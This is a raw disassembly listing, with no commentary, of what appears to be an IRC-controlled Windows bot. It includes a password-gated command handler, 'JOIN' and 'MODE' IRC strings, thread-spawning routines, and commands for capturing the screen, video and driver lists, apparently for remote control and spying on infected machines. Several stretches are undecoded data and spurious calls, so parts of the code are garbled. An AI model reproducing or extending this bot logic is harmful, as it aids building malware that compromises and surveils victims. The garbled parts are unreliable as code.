loc_4083CC: ; CODE XREF: .nsp0:004083C0j
push edi
push offset dword_430E2C
jmp loc_406C56
; ---------------------------------------------------------------------------
loc_4083D7: ; CODE XREF: .nsp0:0040651Fj
; .nsp0:00406536j
push edi
push offset aXxerooxx ; "XxerooxX"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_40854A
lea eax, [ebp-48F0h]
push eax
push 104h
call near ptr 0B40000h
punpckhbw mm7, mm7
; ---------------------------------------------------------------------------
dd 8D000000h, 0FFDA3085h, 1875FFFFh, 388EE850h, 858D0001h
dd 0FFFFE830h, 28BCE850h, 8D500000h, 0FFB71085h, 858D50FFh
dd 0FFFFDB30h, 430E2068h, 0FFE85000h, 8B00013Ah, 0FF7C3584h
dd 0C483FFFFh, 0C7C33B20h, 0FFDC3485h, 1FFh, 389D8900h
dd 74FFFFDCh, 53106A14h, 4000E850h, 0C4830001h, 4085890Ch
dd 0EBFFFFDCh, 409D8906h, 8BFFFFDCh, 3B803574h, 560F74F3h
dd 139ACE8h, 85895900h, 0FFFFDC3Ch, 9D8906EBh, 0FFFFDC3Ch
dd 585B60Fh, 8BFFFFF7h, 7F6A0C75h, 0FF78B5FFh, 8589FFFFh
dd 0FFFFDC44h, 0D9B0858Dh, 0B589FFFFh, 0FFFFD9ACh, 37EAE850h
dd 458B0001h, 1875FFFCh, 0DC4C8589h, 458BFFFFh, 488589F8h
dd 8DFFFFDCh, 0FFFD4085h, 0DF468FFh, 0E8500043h, 13A5Ah
dd 40858D56h, 6AFFFFFDh, 23E8501Eh, 8300002Bh, 858924C4h
dd 0FFFFDC30h, 50F0458Dh, 0D9AC858Dh, 5053FFFFh, 416A0268h
dd 0FF535300h, 42707C15h, 308D8B00h, 69FFFFDCh, 234C9h
dd 89C33B00h, 44413481h, 39167400h, 0FFDC509Dh, 36850FFFh
dd 6AFFFFE7h, 6415FF32h, 0EB004270h, 8C15FFEAh, 50004270h
dd 430DB868h, 0E70CE900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_40854A: ; CODE XREF: .nsp0:004083E6j
push offset dword_430D70
loc_40854F: ; CODE XREF: .nsp0:0040496Aj
; .nsp0:00405F83j ...
lea eax, [ebp-2C0h]
push eax
call sub_41BF36
pop ecx
pop ecx
jmp loc_406C65
; ---------------------------------------------------------------------------
loc_408562: ; CODE XREF: .nsp0:004064F1j
; .nsp0:00406508j
push dword ptr [ebp-8Ch]
push offset dword_4335A0
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_401D6C
cmp [ebp-0Ch], ebx
jz loc_401D6C
push edi
push dword ptr [ebp-0Ch]
call sub_41BFB0
push eax
lea eax, [ebp-2C0h]
push dword ptr [ebp-88h]
push dword ptr [ebp-8Ch]
push dword ptr [ebp-90h]
push offset dword_430D60
push eax
call sub_41BF36
lea eax, [ebp-2C0h]
push 1FFh
push eax
push dword ptr [ebp+8]
call sub_41BCA0
push dword ptr [ebp+18h]
call sub_41BE29
add esp, 30h
test eax, eax
jle short loc_4085EB
push dword ptr [ebp+18h]
call sub_41BE29
imul eax, 3E8h
pop ecx
push eax
call dword_427064 ; Sleep
loc_4085EB: ; CODE XREF: .nsp0:004085D3j
push offset dword_430D4C
call sub_4157A6
mov eax, [ebp+2Ch]
pop ecx
inc eax
jmp loc_401D6F
; ---------------------------------------------------------------------------
loc_4085FF: ; CODE XREF: .nsp0:004064C3j
; .nsp0:004064DAj
push dword ptr [ebp-8Ch]
push offset dword_4335A0
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_401D6C
cmp [ebp-0Ch], ebx
jz loc_4097B8
push edi
push dword ptr [ebp-0Ch]
call sub_41BFB0
inc edi
push offset aRepeat ; "repeat"
push edi
mov esi, eax
call sub_41C710
add esp, 10h
test eax, eax
push esi
jz short loc_4086BA
push dword ptr [ebp-88h]
lea eax, [ebp-2C0h]
push dword ptr [ebp-8Ch]
push dword ptr [ebp-90h]
push offset dword_430D60
push eax
call sub_41BF36
lea eax, [ebp-2C0h]
push 1FFh
push eax
push dword ptr [ebp+8]
call sub_41BCA0
push esi
lea eax, [ebp-2C0h]
push offset dword_430D34
push eax
call sub_41BF36
lea eax, [ebp-2C0h]
push eax
call sub_4157A6
push dword ptr [ebp+18h]
call sub_41BE29
add esp, 38h
test eax, eax
jle loc_4097B8
push dword ptr [ebp+18h]
call sub_41BE29
add eax, [ebp+2Ch]
pop ecx
jmp loc_401D6F
; ---------------------------------------------------------------------------
loc_4086BA: ; CODE XREF: .nsp0:0040863Fj
push offset unk_430D00
loc_4086BF: ; CODE XREF: .nsp0:00408F4Cj
lea eax, [ebp-2C0h]
push eax
call sub_41BF36
add esp, 0Ch
jmp loc_409089
; ---------------------------------------------------------------------------
loc_4086D3: ; CODE XREF: .nsp0:00406495j
; .nsp0:004064ACj
push 7Fh
lea eax, [ebp-2214h]
push dword ptr [ebp+18h]
push eax
call sub_41BCA0
push 7Fh
lea eax, [ebp-2194h]
push edi
push eax
call sub_41BCA0
push 7Fh
lea eax, [ebp-2114h]
push dword ptr [ebp-88h]
push eax
call sub_41BCA0
mov eax, [ebp-4]
mov esi, [ebp+0Ch]
mov [ebp-2090h], eax
mov eax, [ebp-8]
push edi
mov [ebp-208Ch], eax
push dword ptr [ebp+18h]
lea eax, [ebp-2C0h]
mov [ebp-2218h], esi
push offset unk_430CCC
push eax
call sub_41BF36
push ebx
lea eax, [ebp-2C0h]
push 0Fh
push eax
call sub_40B00E
add esp, 40h
mov [ebp-2094h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-2218h]
push ebx
push eax
push offset word_4149C2
push ebx
push ebx
call dword_42707C ; CreateThread
mov ecx, [ebp-2094h]
imul ecx, 234h
cmp eax, ebx
mov dword_444134[ecx], eax
jz short loc_408790
loc_40877E: ; CODE XREF: .nsp0:0040878Ej
cmp [ebp-2088h], ebx
jnz short loc_4087AB
push 32h
call dword_427064 ; Sleep
jmp short loc_40877E
; ---------------------------------------------------------------------------
loc_408790: ; CODE XREF: .nsp0:0040877Cj
call dword_42708C ; RtlGetLastWin32Error
push eax
push offset unk_430C90
loc_40879C: ; CODE XREF: .nsp0:00408898j
lea eax, [ebp-2C0h]
push eax
call sub_41BF36
add esp, 0Ch
loc_4087AB: ; CODE XREF: .nsp0:00408784j
; .nsp0:0040887Cj
cmp [ebp-8], ebx
jnz loc_4095A9
push ebx
lea eax, [ebp-2C0h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-88h]
push esi
jmp loc_4095A1
; ---------------------------------------------------------------------------
loc_4087CB: ; CODE XREF: .nsp0:00406467j
; .nsp0:0040647Ej
push 7Fh
lea eax, [ebp-23A8h]
push dword ptr [ebp+18h]
push eax
call sub_41BCA0
push 7Fh
lea eax, [ebp-2328h]
push edi
push eax
call sub_41BCA0
push 7Fh
lea eax, [ebp-22A8h]
push dword ptr [ebp-88h]
push eax
call sub_41BCA0
mov eax, [ebp-4]
mov esi, [ebp+0Ch]
mov [ebp-2224h], eax
mov eax, [ebp-8]
push edi
mov [ebp-2220h], eax
push dword ptr [ebp+18h]
lea eax, [ebp-2C0h]
mov [ebp-23ACh], esi
push offset dword_430C64
push eax
call sub_41BF36
push ebx
lea eax, [ebp-2C0h]
push 11h
push eax
call sub_40B00E
add esp, 40h
mov [ebp-2228h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-23ACh]
push ebx
push eax
push offset dword_414170
push ebx
push ebx
call dword_42707C ; CreateThread
mov ecx, [ebp-2228h]
imul ecx, 234h
cmp eax, ebx
mov dword_444134[ecx], eax
jz short loc_40888C
loc_408876: ; CODE XREF: .nsp0:0040888Aj
cmp [ebp-221Ch], ebx
jnz loc_4087AB
push 32h
call dword_427064 ; Sleep
jmp short loc_408876
; ---------------------------------------------------------------------------
loc_40888C: ; CODE XREF: .nsp0:00408874j
call dword_42708C ; RtlGetLastWin32Error
push eax
push offset dword_430C28
jmp loc_40879C
; ---------------------------------------------------------------------------
loc_40889D: ; CODE XREF: .nsp0:00406439j
; .nsp0:00406450j
push edi
lea eax, [ebp-2C0h]
push offset dword_430C20
push eax
call sub_41BF36
push dword ptr [ebp+18h]
call sub_41BE29
add esp, 10h
loc_4088BA: ; CODE XREF: .nsp0:00408925j
test eax, eax
jle loc_4097B8
push dword ptr [ebp+18h]
call sub_41BE29
cmp eax, 400h
pop ecx
jge loc_4097B8
loc_4088D6: ; CODE XREF: .nsp0:0040949Bj
lea eax, [ebp-2C0h]
push eax
push offset dword_430C18
push dword ptr [ebp+18h]
call sub_41BE29
imul eax, 234h
pop ecx
push dword_44412C[eax]
call sub_40998C
jmp loc_40495D
; ---------------------------------------------------------------------------
loc_408901: ; CODE XREF: .nsp0:0040640Bj
; .nsp0:00406422j
push dword ptr [ebp+esi-84h]
lea eax, [ebp-2C0h]
push edi
push offset dword_430C0C
push eax
call sub_41BF36
push dword ptr [ebp+18h]
call sub_41BE29
add esp, 14h
jmp short loc_4088BA
; ---------------------------------------------------------------------------
loc_408927: ; CODE XREF: .nsp0:004063DDj
; .nsp0:004063F4j
push edi
lea eax, [ebp-2C0h]
push offset dword_432138
push eax
call sub_41BF36
mov esi, [ebp+18h]
push esi
call sub_41BE29
add esp, 10h
test eax, eax
jle loc_4097B8
push esi
call sub_41BE29
cmp eax, 400h
pop ecx
jge loc_4097B8
lea eax, [ebp-2C0h]
push eax
push offset dword_430C18
push esi
call sub_41BE29
imul eax, 234h
pop ecx
push dword_44412C[eax]
call sub_40998C
push edi
push esi
push offset dword_430BF0
loc_40898A: ; CODE XREF: .nsp0:00408A12j
; .nsp0:00408A7Ej ...
call sub_41581A
jmp loc_40428D
; ---------------------------------------------------------------------------
loc_408994: ; CODE XREF: .nsp0:004063AFj
; .nsp0:004063C6j
cmp [ebp-0Ch], ebx
jz loc_4097B8
push edi
push dword ptr [ebp-0Ch]
call sub_41BFB0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_4089C3
push esi
lea eax, [ebp-2C0h]
push offset dword_430BE8
push eax
call sub_41BF36
add esp, 0Ch
loc_4089C3: ; CODE XREF: .nsp0:004089ACj
mov edi, [ebp+18h]
push edi
call sub_41BE29
test eax, eax
pop ecx
jle loc_4097B8
push edi
call sub_41BE29
cmp eax, 400h
pop ecx
jge loc_4097B8
lea eax, [ebp-2C0h]
push eax
push offset dword_430C18
push edi
call sub_41BE29
imul eax, 234h
pop ecx
push dword_44412C[eax]
call sub_40998C
push esi
push edi
push offset dword_430BCC
jmp loc_40898A
; ---------------------------------------------------------------------------
loc_408A17: ; CODE XREF: .nsp0:00406381j
; .nsp0:00406398j
cmp [ebp-0Ch], ebx
jz loc_4097B8
push edi
push dword ptr [ebp-0Ch]
call sub_41BFB0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_4097B8
mov edi, [ebp+18h]
push edi
call sub_41BE29
test eax, eax
pop ecx
jle loc_4097B8
push edi
call sub_41BE29
cmp eax, 400h
pop ecx
jge loc_4097B8
push esi
push offset dword_430C18
push edi
call sub_41BE29
imul eax, 234h
pop ecx
push dword_44412C[eax]
call sub_40998C
push esi
push edi
push offset dword_430BB0
jmp loc_40898A
; ---------------------------------------------------------------------------
loc_408A83: ; CODE XREF: .nsp0:00406353j
; .nsp0:0040636Aj
cmp [ebp-0Ch], ebx
jz loc_4097B8
push dword ptr [ebp+18h]
push dword ptr [ebp-0Ch]
call sub_41BFB0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_4097B8
push esi
push offset aModeS ; "MODE %s\r\n"
push dword ptr [ebp+0Ch]
call sub_40998C
push esi
push offset unk_430B88
loc_408AB7: ; CODE XREF: .nsp0:00409682j
; .nsp0:0040969Fj ...
call sub_41581A
jmp loc_403523
; ---------------------------------------------------------------------------
loc_408AC1: ; CODE XREF: .nsp0:00406325j
; .nsp0:0040633Cj
push dword ptr [ebp-8Ch]
push offset dword_4335A0
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_401D6C
push edi
push offset dword_430B7C
push dword ptr [ebp+0Ch]
call sub_40998C
push dword ptr [ebp+18h]
call sub_41BE29
imul eax, 3E8h
add esp, 10h
push eax
call dword_427064 ; Sleep
push dword ptr [ebp+esi-84h]
push edi
push offset aJoinSS ; "JOIN %s %s\r\n"
push dword ptr [ebp+0Ch]
call sub_40998C
push offset dword_430B68
call sub_4157A6
jmp loc_403523
; ---------------------------------------------------------------------------
loc_408B25: ; CODE XREF: .nsp0:004062F7j
; .nsp0:0040630Ej
cmp [ebp-0Ch], ebx
jz loc_4097B8
push dword ptr [ebp+18h]
call sub_41B890
push dword ptr [ebp+10h]
mov esi, eax
call sub_41B890
add eax, [ebp-0Ch]
push edi
lea eax, [eax+esi+2]
push eax
call sub_41BFB0
mov esi, eax
add esp, 10h
cmp esi, ebx
jz loc_4097B8
push esi
lea eax, [ebp-2C0h]
push offset dword_43129C
push eax
call sub_41BF36
push ebx
lea eax, [ebp-2C0h]
push ebx
push eax
push dword ptr [ebp+18h]
push dword ptr [ebp+0Ch]
call sub_4099D2
push esi
push dword ptr [ebp+18h]
push offset unk_430B4C
call sub_41581A
add esp, 2Ch
jmp loc_4097B8
; ---------------------------------------------------------------------------
loc_408B97: ; CODE XREF: .nsp0:004062C9j
; .nsp0:004062E0j
cmp [ebp-0Ch], ebx
jz loc_4097B8
push dword ptr [ebp+18h]
call sub_41B890
push dword ptr [ebp+10h]
mov esi, eax
call sub_41B890
add eax, [ebp-0Ch]
push edi
lea eax, [eax+esi+2]
push eax
call sub_41BFB0
mov esi, eax
add esp, 10h
cmp esi, ebx
jz loc_4097B8
push ebx
push ebx
push esi
push dword ptr [ebp+18h]
push dword ptr [ebp+0Ch]
call sub_4099D2
push esi
push dword ptr [ebp+18h]
push offset unk_430B2C
call sub_41581A
add esp, 20h
jmp loc_4097B8
; ---------------------------------------------------------------------------
loc_408BF1: ; CODE XREF: .nsp0:0040629Bj
; .nsp0:004062B2j
cmp [ebp-0Ch], ebx
jz loc_401D6C
push edi
push dword ptr [ebp-0Ch]
call sub_41BFB0
pop ecx
cmp eax, ebx
pop ecx
jz loc_401D6C
push eax
push dword ptr [ebp+18h]
call sub_4156AE
push dword ptr [ebp+18h]
lea eax, [ebp-2C0h]
push offset unk_430B0C
push eax
call sub_41BF36
add esp, 14h
jmp loc_409588
; ---------------------------------------------------------------------------
loc_408C32: ; CODE XREF: .nsp0:0040626Dj
; .nsp0:00406284j
push edi
push dword ptr [ebp+18h]
push dword ptr [ebp-4]
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_418C8D
jmp loc_4040FF
; ---------------------------------------------------------------------------
loc_408C4C: ; CODE XREF: .nsp0:0040622Fj
; .nsp0:00406244j
push dword ptr [ebp+18h]
push dword ptr [ebp+24h]
call sub_41BFB0
pop ecx
test eax, eax
pop ecx
jz loc_4097B8
mov esi, [ebp+esi-88h]
cmp esi, ebx
jz loc_408CF1
push esi
push dword ptr [ebp-0Ch]
call sub_41BFB0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_408CD9
push esi
lea eax, [ebp-2C0h]
push dword ptr [ebp-88h]
push dword ptr [ebp-8Ch]
push dword ptr [ebp-90h]
push offset dword_430D60
push eax
call sub_41BF36
lea eax, [ebp-2C0h]
push 1FFh
push eax
push dword ptr [ebp+8]
call sub_41BCA0
push esi
lea eax, [ebp-2C0h]
push dword ptr [ebp+18h]
push offset unk_430AE4
push eax
call sub_41BF36
add esp, 34h
inc dword ptr [ebp+2Ch]
jmp loc_4090AA
; ---------------------------------------------------------------------------
loc_408CD9: ; CODE XREF: .nsp0:00408C7Fj
lea eax, [ebp-2C0h]
push offset unk_430AB4
push eax
call sub_41BF36
pop ecx
pop ecx
jmp loc_4090AA
; ---------------------------------------------------------------------------
loc_408CF1: ; CODE XREF: .nsp0:00408C6Aj
push ebx
lea eax, [ebp-2C0h]
push dword ptr [ebp-4]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+24h]
push eax
call sub_41B598
add esp, 0Ch
push eax
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_4099D2
push dword ptr [ebp+18h]
lea eax, [ebp-2C0h]
push offset dword_430A98
push 200h
push eax
call sub_41C030
add esp, 24h
jmp loc_4090AA
; ---------------------------------------------------------------------------
loc_408D3A: ; CODE XREF: .nsp0:00406205j
; .nsp0:0040621Aj
push offset aScreen ; "screen"
push dword ptr [ebp+18h]
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz short loc_408D95
mov edi, [ebp+esi-88h]
cmp edi, ebx
jz short loc_408D82
push edi
call loc_4159B6
cmp eax, 1
pop ecx
jnz short loc_408D7B
push edi
lea eax, [ebp-2C0h]
push offset unk_430A64
push eax
call sub_41BF36
add esp, 0Ch
jmp short loc_408D95
; ---------------------------------------------------------------------------
loc_408D7B: ; CODE XREF: .nsp0:00408D62j
push offset unk_430A34
jmp short loc_408D87
; ---------------------------------------------------------------------------
loc_408D82: ; CODE XREF: .nsp0:00408D56j
push offset unk_4309F8
loc_408D87: ; CODE XREF: .nsp0:00408D80j
lea eax, [ebp-2C0h]
push eax
call sub_41BF36
pop ecx
pop ecx
loc_408D95: ; CODE XREF: .nsp0:00408D4Bj
; .nsp0:00408D79j
push offset aDrivers ; "drivers"
push dword ptr [ebp+18h]
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz short loc_408E22
xor edi, edi
loc_408DAA: ; CODE XREF: .nsp0:00408E0Dj
lea eax, [ebp-53F8h]
push 1FFh
push eax
lea eax, [ebp-4EF0h]
push 0FFh
push eax
push edi
call dword_4D1220
test eax, eax
jz short loc_408E09
lea eax, [ebp-53F8h]
push eax
lea eax, [ebp-4EF0h]
push eax
push edi
lea eax, [ebp-5D88h]
push offset unk_4309C8
push eax
call sub_41BF36
push ebx
lea eax, [ebp-5D88h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_4099D2
add esp, 28h
loc_408E09: ; CODE XREF: .nsp0:00408DCBj
inc edi
cmp edi, 0Ah
jl short loc_408DAA
lea eax, [ebp-2C0h]
push offset unk_4309A0
push eax
call sub_41BF36
pop ecx
pop ecx
loc_408E22: ; CODE XREF: .nsp0:00408DA6j
push offset aFrame ; "frame"
push dword ptr [ebp+18h]
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz loc_408EC3
cmp [ebp+esi-88h], ebx
jz short loc_408EB0
cmp [ebp+esi-84h], ebx
jz short loc_408EB0
mov edi, [ebp+esi-80h]
cmp edi, ebx
jz short loc_408EB0
mov eax, [ebp+esi-7Ch]
cmp eax, ebx
jz short loc_408EB0
push eax
call sub_41BE29
pop ecx
push eax
push edi
call sub_41BE29
pop ecx
push eax
push dword ptr [ebp+esi-84h]
call sub_41BE29
pop ecx
push eax
push dword ptr [ebp+esi-88h]
call sub_415BF1
add esp, 10h
test eax, eax
jnz short loc_408EA9
push dword ptr [ebp+esi-88h]
lea eax, [ebp-2C0h]
push offset unk_43096C
push eax
call sub_41BF36
add esp, 0Ch
jmp short loc_408EC3
; ---------------------------------------------------------------------------
loc_408EA9: ; CODE XREF: .nsp0:00408E8Aj
push offset unk_430938
jmp short loc_408EB5
; ---------------------------------------------------------------------------
loc_408EB0: ; CODE XREF: .nsp0:00408E40j
; .nsp0:00408E49j ...
push offset unk_430900
loc_408EB5: ; CODE XREF: .nsp0:00408EAEj
lea eax, [ebp-2C0h]
push eax
call sub_41BF36
pop ecx
pop ecx
loc_408EC3: ; CODE XREF: .nsp0:00408E33j
; .nsp0:00408EA7j
push offset aVideo ; "video"
push dword ptr [ebp+18h]
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz loc_409089
mov eax, [ebp+esi-88h]
cmp eax, ebx
mov [ebp+28h], eax
jz short loc_408F5B
mov eax, [ebp+esi-84h]
cmp eax, ebx
mov [ebp+8], eax
jz short loc_408F5B
mov eax, [ebp+esi-80h]
cmp eax, ebx
mov [ebp+20h], eax
jz short loc_408F5B
mov edi, [ebp+esi-7Ch]
cmp edi, ebx
jz short loc_408F5B
mov esi, [ebp+esi-78h]
cmp esi, ebx
jz short loc_408F5B
push esi
call sub_41BE29
pop ecx
push eax
push edi
call sub_41BE29
pop ecx
push eax
push dword ptr [ebp+20h]
call sub_41BE29
pop ecx
push eax
push dword ptr [ebp+8]
call sub_41BE29
pop ecx
push eax
push dword ptr [ebp+28h]
call sub_415DEA
add esp, 14h
test eax, eax
jnz short loc_408F51
push dword ptr [ebp+28h]
push offset unk_4308D4
jmp loc_4086BF
; ---------------------------------------------------------------------------
loc_408F51: ; CODE XREF: .nsp0:00408F42j
push offset unk_430894
jmp loc_40907B
; ---------------------------------------------------------------------------
loc_408F5B: ; CODE XREF: .nsp0:00408EE6j
; .nsp0:00408EF4j ...
push offset unk_430854
jmp loc_40907B
; ---------------------------------------------------------------------------
loc_408F65: ; CODE XREF: .nsp0:00405B26j
; .nsp0:00405B3Bj
push offset aR ; "r"
push dword ptr [ebp+18h]
call sub_41BBB8
mov edi, eax
pop ecx
cmp edi, ebx
pop ecx
jz short loc_408FE3
mov esi, 200h
push edi
lea eax, [ebp-2C0h]
push esi
push eax
call sub_41C1FF
add esp, 0Ch
loc_408F90: ; CODE XREF: .nsp0:00408FBFj
test eax, eax
jz short loc_408FC1
push 1
lea eax, [ebp-2C0h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_4099D2
push edi
lea eax, [ebp-2C0h]
push esi
push eax
call sub_41C1FF
add esp, 20h
jmp short loc_408F90
; ---------------------------------------------------------------------------
loc_408FC1: ; CODE XREF: .nsp0:00408F92j
push edi
call sub_41B90B
push dword ptr [ebp+18h]
lea eax, [ebp-2C0h]
push offset unk_430830
push eax
call sub_41BF36
add esp, 10h
jmp loc_406C86
; ---------------------------------------------------------------------------
loc_408FE3: ; CODE XREF: .nsp0:00408F78j
push dword ptr [ebp+18h]
push offset unk_43080C
jmp loc_406C56
; ---------------------------------------------------------------------------
loc_408FF0: ; CODE XREF: .nsp0:00405AFCj
; .nsp0:00405B11j
cmp [ebp-0Ch], ebx
jz loc_4097B8
push dword ptr [ebp+18h]
push dword ptr [ebp-0Ch]
call sub_41BFB0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_4097B8
push offset asc_430808 ; "\n"
push esi
call sub_41C560
push esi
call sub_41A2D9
add esp, 0Ch
test eax, eax
jnz short loc_40902F
push offset unk_4307DC
jmp short loc_40907B
; ---------------------------------------------------------------------------
loc_40902F: ; CODE XREF: .nsp0:00409026j
push esi
lea eax, [ebp-2C0h]
push offset dword_4307C4
push eax
call sub_41BF36
add esp, 0Ch
jmp short loc_4090AA
; ---------------------------------------------------------------------------
loc_409046: ; CODE XREF: .nsp0:00405AD2j
; .nsp0:00405AE7j
cmp [ebp-0Ch], ebx
jz loc_4097B8
push dword ptr [ebp+18h]
push dword ptr [ebp-0Ch]
call sub_41BFB0
pop ecx
cmp eax, ebx
pop ecx
jz loc_4097B8
push eax
call sub_4189BD
test eax, eax
pop ecx
jnz short loc_409076
push offset unk_4307A4
jmp short loc_40907B
; ---------------------------------------------------------------------------
loc_409076: ; CODE XREF: .nsp0:0040906Dj
push offset dword_430788
loc_40907B: ; CODE XREF: .nsp0:00408F56j
; .nsp0:00408F60j ...
lea eax, [ebp-2C0h]
push eax
call sub_41BF36
pop ecx
pop ecx
loc_409089: ; CODE XREF: .nsp0:004086CEj
; .nsp0:00408ED4j
cmp [ebp-8], ebx
jnz short loc_4090AA
push ebx
lea eax, [ebp-2C0h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_4099D2
add esp, 14h
loc_4090AA: ; CODE XREF: .nsp0:00408CD4j
; .nsp0:00408CECj ...
lea eax, [ebp-2C0h]
push eax
call sub_4157A6
pop ecx
jmp loc_4097B8
; ---------------------------------------------------------------------------
loc_4090BC: ; CODE XREF: .nsp0:00405AA8j
; .nsp0:00405ABDj
push 7Fh
lea eax, [ebp-2080h]
push dword ptr [ebp+18h]
push eax
call sub_41BCA0
mov esi, [ebp+esi-88h]
add esp, 0Ch
cmp esi, ebx
jz short loc_4090ED
push 7Fh
lea eax, [ebp-2000h]
push esi
push eax
call sub_41BCA0
add esp, 0Ch
loc_4090ED: ; CODE XREF: .nsp0:004090D9j
push 7Fh
lea eax, [ebp-1F80h]
push dword ptr [ebp-88h]
push eax
call sub_41BCA0
mov eax, [ebp+0Ch]
push dword ptr [ebp+18h]
mov [ebp-2084h], eax
mov eax, [ebp-8]
mov [ebp-1EFCh], eax
mov eax, [ebp-4]
mov [ebp-1EF8h], eax
lea eax, [ebp-2C0h]
push offset dword_430770
push eax
call sub_41BF36
push ebx
lea eax, [ebp-2C0h]
push 1Ch
push eax
call sub_40B00E
add esp, 24h
mov [ebp-1F00h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-2084h]
push ebx
push eax
push offset sub_41B65E
push ebx
push ebx
call dword_42707C ; CreateThread
mov ecx, [ebp-1F00h]
imul ecx, 234h
cmp eax, ebx
mov dword_444134[ecx], eax
jz short loc_40918D
loc_409177: ; CODE XREF: .nsp0:0040918Bj
cmp [ebp-1EF4h], ebx
jnz loc_406C86
push 32h
call dword_427064 ; Sleep
jmp short loc_409177
; ---------------------------------------------------------------------------
loc_40918D: ; CODE XREF: .nsp0:00409175j
call dword_42708C ; RtlGetLastWin32Error
push eax
push offset unk_430730
loc_409199: ; CODE XREF: .nsp0:0040449Bj
lea eax, [ebp-2C0h]
push eax
call sub_41BF36
add esp, 0Ch
jmp loc_406C86
; ---------------------------------------------------------------------------
loc_4091AD: ; CODE XREF: .nsp0:00405A7Ej
; .nsp0:00405A93j
push ebx
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+18h]
call sub_41011E
push dword ptr [ebp+18h]
push offset dword_430718
jmp loc_40898A
; ---------------------------------------------------------------------------
loc_4091CC: ; CODE XREF: .nsp0:00405A54j
; .nsp0:00405A69j
push 14h
lea eax, [ebp-1D48h]
push ebx
push eax
call sub_41BC40
push dword ptr [ebp+18h]
lea eax, [ebp-1D34h]
push offset aS_2 ; "%s"
push eax
call sub_41BF36
mov eax, [ebp+0Ch]
mov [ebp-1D50h], eax
lea eax, [ebp-0C0h]
push eax
lea eax, [ebp-1C30h]
push 80h
push eax
call sub_41C030
mov eax, [ebp-4]
mov [ebp-1BA8h], eax
mov eax, [ebp-8]
mov [ebp-1BA4h], eax
lea eax, [ebp-1C30h]
push eax
lea eax, [ebp-1D34h]
push eax
lea eax, [ebp-2C0h]
push offset unk_4306F4
push eax
call sub_41BF36
push ebx
lea eax, [ebp-2C0h]
push 1Ah
push eax
call sub_40B00E
add esp, 40h
mov [ebp-1BACh], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-1D50h]
push ebx
push eax
push offset loc_416425
push ebx
push ebx
call dword_42707C ; CreateThread
mov ecx, [ebp-1BACh]
imul ecx, 234h
cmp eax, ebx
mov dword_444134[ecx], eax
jz short loc_40929E
loc_409288: ; CODE XREF: .nsp0:0040929Cj
cmp [ebp-1BA0h], ebx
jnz loc_40833C
push 32h
call dword_427064 ; Sleep
jmp short loc_409288
; ---------------------------------------------------------------------------
loc_40929E: ; CODE XREF: .nsp0:004022D7j
; .nsp0:00409286j
call dword_42708C ; RtlGetLastWin32Error
push eax
push offset unk_4306B8
jmp loc_40832D
; ---------------------------------------------------------------------------
loc_4092AF: ; CODE XREF: .nsp0:00405A2Aj
; .nsp0:00405A3Fj
push dword ptr [ebp+18h]
call near ptr 0B40000h
inc edx
test eax, eax
jz short loc_4092C6
push dword ptr [ebp+18h]
push offset dword_43069C
jmp short loc_4092D1
; ---------------------------------------------------------------------------
loc_4092C6: ; CODE XREF: .nsp0:004092BAj
push offset dword_430ED8
call sub_4188F8
push eax
loc_4092D1: ; CODE XREF: .nsp0:004092C4j
lea eax, [ebp-2C0h]
push 200h
push eax
call sub_41C030
jmp loc_4093B4
; ---------------------------------------------------------------------------
loc_4092E7: ; CODE XREF: .nsp0:00405A00j
; .nsp0:00405A15j
push dword ptr [ebp+18h]
call sub_41BE29
push eax
call sub_41A252
pop ecx
pop ecx
push 1
pop esi
push dword ptr [ebp+18h]
cmp eax, esi
jnz short loc_409308
push offset unk_430678
jmp short loc_40930D
; ---------------------------------------------------------------------------
loc_409308: ; CODE XREF: .nsp0:004092FFj
push offset unk_430648
loc_40930D: ; CODE XREF: .nsp0:00409306j
lea eax, [ebp-2C0h]
push eax
call sub_41BF36
add esp, 0Ch
cmp [ebp-8], ebx
jnz loc_406C89
push ebx
lea eax, [ebp-2C0h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_4099D2
add esp, 14h
jmp loc_406C89
; ---------------------------------------------------------------------------
loc_409346: ; CODE XREF: .nsp0:004059D6j
; .nsp0:004059EBj
push ebx
push ebx
push dword ptr [ebp+18h]
push dword ptr [ebp-4]
push ebx
push dword ptr [ebp+0Ch]
call sub_419F45
add esp, 18h
cmp eax, 1
push dword ptr [ebp+18h]
jnz short loc_40936C
push offset unk_430628
jmp loc_406C56
; ---------------------------------------------------------------------------
loc_40936C: ; CODE XREF: .nsp0:00409360j
push offset unk_4305F8
jmp loc_406C56
; ---------------------------------------------------------------------------
loc_409376: ; CODE XREF: .nsp0:004059ACj
; .nsp0:004059C1j
mov esi, [ebp+18h]
push esi
call dword_4D1230 ; inet_addr
cmp eax, 0FFFFFFFFh
mov [ebp-2D4h], eax
jz short loc_4093BC
push 2
lea eax, [ebp-2D4h]
push 4
push eax
